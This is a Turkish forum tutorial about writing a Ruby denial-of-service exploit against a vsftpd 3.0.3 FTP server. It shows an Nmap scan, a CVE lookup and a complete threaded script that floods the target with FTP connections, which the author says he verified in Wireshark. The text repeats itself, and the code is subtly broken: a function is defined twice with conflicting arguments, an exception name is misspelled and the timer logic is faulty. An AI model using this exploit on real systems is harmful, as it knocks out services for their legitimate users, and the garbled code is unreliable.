Merhaba ben BUNJO, bu eğitimimizde hedef ftp servisinde bulduğumuz bir DoS açığından yararlanarak bu açığı sömüren bir exploit yazacağız. Not: sisteminiz kötü ise exploiti çalıştırmanızı asla önermem. Öncelikle "DoS" saldırısının ne olduğunu öğrenelim.
DOS (Denial of Service) saldırısı, bir bilgisayar sistemine veya ağa yoğun bir şekilde trafiği artırarak, kaynakları tüketerek veya hizmetleri bozarak erişimi engellemeyi amaçlayan bir siber saldırı türüdür. Temel olarak, saldırganlar, hedef sistem veya ağın kapasitesini aşacak kadar çok sayıda talep veya trafiği başlatarak normal çalışmasını engellemeye çalışırlar.
DOS saldırıları, genellikle aşağıdaki temel türlerden birine dayanır:
Şimdi senaryomuza başlayalım ve exploitimizi kodlayalım.
1- Hedef sistemde açık aramak istiyorum ve bunun üzerine "Nmap" aracı ile bir port taraması gerçekleştiriyorum.
2- Aşağıdaki çıktıyı elde ediyorum ve daha detaylı bakmak için "-vvv -A" parametrelerini koduma ekliyorum.
Bilgilendirme: Elde ettiğim çıktıda "ftp-anon: Anonymous FTP login allowed (FTP code 230)" yazısını görüyorum istersem Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo) bu konudan edindiğim bilgiler ile rahat bir şekilde sunucuyu hackleyebilirim fakat bu bir önceki dersin konusuydu.
3- Port sürümünü internette aratıyorum.
CVE - Search Results bu sitede yazdığı üzere portta bir "DoS" saldırı açığı olduğunu anlıyorum ve bu açığı istismar etmek için exploitimi yazmaya geçiyorum.
Kodu detaylı bir şekilde açıkladım eğer anlamadıysanız profilimden vermiş olduğum "Üst Düzey Ruby Eğitimi" konularını okuyabilirsiniz.
4- Exploitimi kullanmaya geçiyorum.
verilen parametrele uygun şekilde argümanlarımı gönderiyorum (sanal makinedir saati dikkate almayınız.)
ben sanal makinede olduğum için tabii kasıyor eğer sizinde sisteminiz düşükse kodu incelemeniz yetecektir anlamak için açmanıza gerek yok.
exploit çalışıyor mu diye "wireshark" aracından ağ trafiğini izliyorum:
ve çalıştığını görüyorum.
Bu eğitimde de anlatacaklarım bu kadardı saat geç olduğu için kusurlarım olduysa beni hatalı görebilirsiniz. Bir sonraki derste yine sizinle olacağım teşekkür ederim.
Not: Ruby eğitimine gelen mesajlar doğrultusunda eğitim ilerleyecek, ruby eğitimi ilerledikçe exploit kodlama içeriğide üst basamaklara çıkacaktır.
DOS (Denial of Service) saldırısı, bir bilgisayar sistemine veya ağa yoğun bir şekilde trafiği artırarak, kaynakları tüketerek veya hizmetleri bozarak erişimi engellemeyi amaçlayan bir siber saldırı türüdür. Temel olarak, saldırganlar, hedef sistem veya ağın kapasitesini aşacak kadar çok sayıda talep veya trafiği başlatarak normal çalışmasını engellemeye çalışırlar.
DOS saldırıları, genellikle aşağıdaki temel türlerden birine dayanır:
- Bandwidth Exhaustion (Bant Genişliği Tükenmesi): Saldırganlar, hedef sistem veya ağa büyük miktarda veri trafiği göndererek bant genişliğini tüketmeye çalışır. Bu, meşru kullanıcıların hedefe erişmesini zorlaştırır.
- Resource Exhaustion (Kaynak Tükenmesi): Saldırganlar, hedef sistemin kaynaklarını, özellikle CPU, bellek veya disk alanını aşırı derecede kullanarak tüketmeye çalışır. Bu da hedefin normal işlemlerini yürütmesini engeller.
- Protocol Exploitation (Protokol Sömürüsü): Belirli bir ağ protokolündeki zayıflıkları veya hataları kullanarak saldırı gerçekleştirme. Örneğin, ağ protokollerindeki güvenlik açıklarını kullanarak kaynakları tüketme.
- Connection Exhaustion (Bağlantı Tükenmesi): Saldırganlar, hedef sistemdeki tüm kullanılabilir bağlantı noktalarını doldurarak yeni bağlantıların oluşturulmasını engellemeye çalışır.
- Distributed Denial of Service (DDoS): Birçok farklı kaynaktan eş zamanlı olarak başlatılan DOS saldırısı. Botnet adı verilen uzaktan kontrol edilen bir grup bilgisayar veya cihaz, koordineli bir şekilde saldırıyı gerçekleştirir.
Şimdi senaryomuza başlayalım ve exploitimizi kodlayalım.
1- Hedef sistemde açık aramak istiyorum ve bunun üzerine "Nmap" aracı ile bir port taraması gerçekleştiriyorum.
2- Aşağıdaki çıktıyı elde ediyorum ve daha detaylı bakmak için "-vvv -A" parametrelerini koduma ekliyorum.
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3
Bilgilendirme: Elde ettiğim çıktıda "ftp-anon: Anonymous FTP login allowed (FTP code 230)" yazısını görüyorum istersem Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo) bu konudan edindiğim bilgiler ile rahat bir şekilde sunucuyu hackleyebilirim fakat bu bir önceki dersin konusuydu.
3- Port sürümünü internette aratıyorum.
CVE - Search Results bu sitede yazdığı üzere portta bir "DoS" saldırı açığı olduğunu anlıyorum ve bu açığı istismar etmek için exploitimi yazmaya geçiyorum.
Kodu detaylı bir şekilde açıkladım eğer anlamadıysanız profilimden vermiş olduğum "Üst Düzey Ruby Eğitimi" konularını okuyabilirsiniz.
Ruby:
require 'socket'
require 'thread'
require 'open3'
$usage = "#{File.basename($0)} <target> Port (default:21) Connects (default: 75)." # nasıl kullanılacağını yazdırdık.
$example_use = "ruby exploit.rb 10.0.2.4 21 100" # örnek kullanım oluşturduk.
def port_test_on_host(target, port)
socket_to_test_host = TCPSocket.new(target, port)
socket_to_test_host.close
return 0
rescue Errno::ECONNREFUSED
puts "Port #{port} isn't open."
exit(1) # port kapalı olduğu için 1 çıkış kodu döndürerek hatalı çıkış yap.
end
def attack(target, port, id)
begin
Open3.capture3("ftp #{target} #{port}") # Çıktıyı capture eder.
rescue StandartError => e
# hata yansıtılsın istemediğimiz için bunu koyuyoruz.
rescue ThreadError => e
end
end
def attack(target, port, conns) # Saldırıyı başlatma fonksiyonu.
start = Time.now # şuanki saati değişkene atadık.
timer_thread = Thread.new { timer(target, port) } # Threading kullanarak işlemi yaptırdık threadingi daha sonra anlatacağım.
while true
begin
(1..conns+2).each do |i| # saldırıları arttırarak sürekli istek yolladık.
Thread.new { attack(target, port, i) }
end
timer_thread.join # her bir isteği çalıştırdık.
break
rescue ThreadError => e
end
end
end
def timer(target, port)
start = Time.now
while true
if start < Time.now + 1500
next
else
Open3.capture3("pkill ftp")
Thread.new { attack(target, port) }
break
end
end
end
def main
target = ARGV[0]
if target.nil?
puts $usage
puts $example_use
exit
end
port = (ARGV[1] || 21).to_i
conns = (ARGV[2] || 75).to_i
puts "Testing #{port} port on #{target} if is open."
port_test_on_host(target, port)
puts "Port #{port} is open, starting attack.."
sleep(2)
puts "DoS attack started on #{target}:#{port}"
attack(target, port, conns)
end
main
4- Exploitimi kullanmaya geçiyorum.
verilen parametrele uygun şekilde argümanlarımı gönderiyorum (sanal makinedir saati dikkate almayınız.)
ben sanal makinede olduğum için tabii kasıyor eğer sizinde sisteminiz düşükse kodu incelemeniz yetecektir anlamak için açmanıza gerek yok.
exploit çalışıyor mu diye "wireshark" aracından ağ trafiğini izliyorum:
ve çalıştığını görüyorum.
Bu eğitimde de anlatacaklarım bu kadardı saat geç olduğu için kusurlarım olduysa beni hatalı görebilirsiniz. Bir sonraki derste yine sizinle olacağım teşekkür ederim.
Not: Ruby eğitimine gelen mesajlar doğrultusunda eğitim ilerleyecek, ruby eğitimi ilerledikçe exploit kodlama içeriğide üst basamaklara çıkacaktır.
Son düzenleme: